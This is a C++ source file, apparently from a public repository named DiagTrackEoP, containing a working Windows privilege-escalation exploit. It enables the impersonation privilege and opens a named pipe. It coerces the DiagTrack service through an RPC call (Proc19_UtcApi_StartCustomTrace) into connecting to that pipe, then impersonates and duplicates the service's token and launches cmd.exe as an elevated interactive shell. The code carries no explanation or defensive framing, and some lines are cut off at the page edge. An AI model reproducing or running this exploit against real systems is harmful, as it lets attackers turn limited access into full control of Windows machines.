DiagTrackEoP / main.cpp

189 lines (160 loc) · 5.44 KB

Code Blame Raw

```
1   #include <Windows.h>
2   #include <strsafe.h>
3   #include <stdio.h>
4   #include <UserEnv.h>
5   #include "diag_h.h"
6   #pragma warning(disable:4996)
7   #pragma comment(lib,"Userenv.lib")
8   #pragma comment(lib,"RpcRT4.lib")
9
10
11
12  HANDLE duptoken = INVALID_HANDLE_VALUE;
13
14  VOID Trigger(LPWSTR uuid);
15  HANDLE GetToken();
16  VOID Pipe(LPWSTR pipename);
17  BOOL EnablePriv(HANDLE token, LPCWSTR privilege);
18  VOID Execute(HANDLE token);
19  int wmain(int argc, wchar_t** argv) {
20
21      BOOL enabled = TRUE;
22      WCHAR pipe_name[] = L"thisispipe";
23      HANDLE token;
24
25      OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token);
26
```

```
27          enabled = EnablePriv(token, SE_IMPERSONATE_NAME);
28          if (!enabled) {
29              printf("[!] Failed to enable privilege!\n");
30              exit(1);
31          }
32          CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Pipe, pipe_name, 0, NULL);
33
34          HANDLE interactive = GetToken();
35          ImpersonateLoggedOnUser(interactive);
36          Trigger(pipe_name);
37          do {
38              Sleep(500);
39
40          } while (duptoken == INVALID_HANDLE_VALUE);
41          Execute(duptoken);
42      }
43
44      HANDLE GetToken() {
45          HANDLE pHandle;
46          LogonUserW(L"thisisnotvaliduser", L".", L"thisisnotvalidpass", 9, LOGON32_PROVIDER_DEFAULT, &pH
47          return pHandle;
48      }
49      BOOL EnablePriv(HANDLE token, LPCWSTR privilege) {
50          DWORD retlen;
51          TOKEN_PRIVILEGES tp;
52          LUID luid;
53
54          if (!LookupPrivilegeValueW(NULL, privilege, &luid)) {
55              printf("[!] Error[LookupPrivilegeValue]: %d\n", GetLastError());
56              return FALSE;
57          }
58          tp.PrivilegeCount = 1;
59          tp.Privileges[0].Luid = luid;
60          tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
61          if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL
62              printf("[!] Error[AdjustTokenPrivileges]: %d\n", GetLastError());
63              return FALSE;
64          }
65          if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
66
67          {
68              printf("[!] Token does not have %ls privilege.\n", privilege);
69              return FALSE;
70          }
71          printf("[+] Privilege %ls enabled!\n", privilege);
72          return TRUE;
```

```
73      }
74      VOID Pipe(LPWSTR pipename) {
75
76          HANDLE g_pipe = INVALID_HANDLE_VALUE;;
77          wchar_t pipe[MAX_PATH] = { 0x0 };
78          HANDLE token = NULL;
79          _swprintf(pipe, L"\\\\.\\pipe\\%s", pipename);
80          g_pipe = CreateNamedPipe(pipe, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE
81
82          if (g_pipe == INVALID_HANDLE_VALUE)
83          {
84              printf("[!] Error[CreateNamedPipe]: %d\n", GetLastError());
85              exit(1);
86          }
87          printf("[+] Pipe %ls created!\n", pipe);
88
89          printf("[*] Waiting for client...\n");
90          if (!ConnectNamedPipe(g_pipe, NULL)) {
91              printf("[!] Error[ConnectNamedPipe]: %d\n", GetLastError());
92              exit(1);
93
94          }
95          printf("[+] Client Connected!\n");
96          if (!ImpersonateNamedPipeClient(g_pipe)) {
97              printf("[!] Error[ImpersonateNamedPipeClient]: %d\n", GetLastError());
98              exit(1);
99          }
100         printf("[+] Named Pipe impersonation successful!\n");
101
102         if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
103             printf("[!] Error[OpenThreadToken]: %d\n", GetLastError());
104             exit(1);
105         }
106         if (!DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duptc
107             printf("[!] Error[DuplicateTokenEx]: %d\n", GetLastError());
108             exit(1);
109         }
110         printf("[+] Token duplicated!\n");
111
112         DisconnectNamedPipe(g_pipe);
113         CloseHandle(g_pipe);
114     }
115     VOID Execute(HANDLE token) {
116         BOOL enabled;
117         PROCESS_INFORMATION pi;
118         STARTUPINFO si;
```

```
        LPVOID env;
        WCHAR desktop[] = L"winsta0\\default";
        enabled = EnablePriv(token, SE_ASSIGNPRIMARYTOKEN_NAME);
        if (!enabled) {
            printf("[!] Failed to enable privilege!\n");
            exit(1);
        }
        if (!CreateEnvironmentBlock(&env, token, TRUE))
        {
            printf("[!] Error[CreateEnvironmentBlock]: %d\n", GetLastError());
            exit(1);
        }
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(STARTUPINFO);
        si.lpDesktop = desktop;
        if (!ImpersonateLoggedOnUser(token)) {
            printf("[!] Error[ImpersonateLoggedOnUser]: %d\n", GetLastError());
            exit(1);
        }
        if (!CreateProcessAsUserW(token, L"c:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, CRE
            printf("[!] Error[CreateProcessAsUserW]: %d\n", GetLastError());
            exit(1);
        }
        printf("[+] Dropping to interactive shell!\n\n\n");
        fflush(stdout);
        WaitForSingleObject(pi.hProcess, INFINITE);
        RevertToSelf();
        CloseHandle(token);
    }
    VOID Trigger(LPWSTR uuid)
    {
        RPC_STATUS status;
        RPC_WSTR StringBinding;
        RPC_BINDING_HANDLE Binding;

        status = RpcStringBindingCompose((RPC_WSTR)L"4c9dbf19-d39e-4bb9-90ee-8f7179b20283", (RPC_WSTR)L



        status = RpcBindingFromStringBinding(StringBinding, &Binding);


        RpcTryExcept
        {
            wchar_t a[MAX_PATH];
```

```
164             _swprintf(a, L"\\\\127.0.0.1\\pipe\\%s", uuid);
165             long long t = 1;
166             printf("[*] Triggering Proc19_UtcApi_StartCustomTrace using %ls as path!\n",a);
167             long res = Proc19_UtcApi_StartCustomTrace(Binding,a,t);
168 
169         }
170         RpcExcept(EXCEPTION_EXECUTE_HANDLER);
171         {
172             printf("[!] Exception: %d - 0x%08x\r\n", RpcExceptionCode(), RpcExceptionCode());
173             exit(1);
174         }
175         RpcEndExcept
176 
177             status = RpcBindingFree(&Binding);
178 
179 
180     }
181     void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
182     {
183         return((void __RPC_FAR*) malloc(cBytes));
184     }
185 
186     void __RPC_USER midl_user_free(void __RPC_FAR* p)
187     {
188         free(p);
189     }
```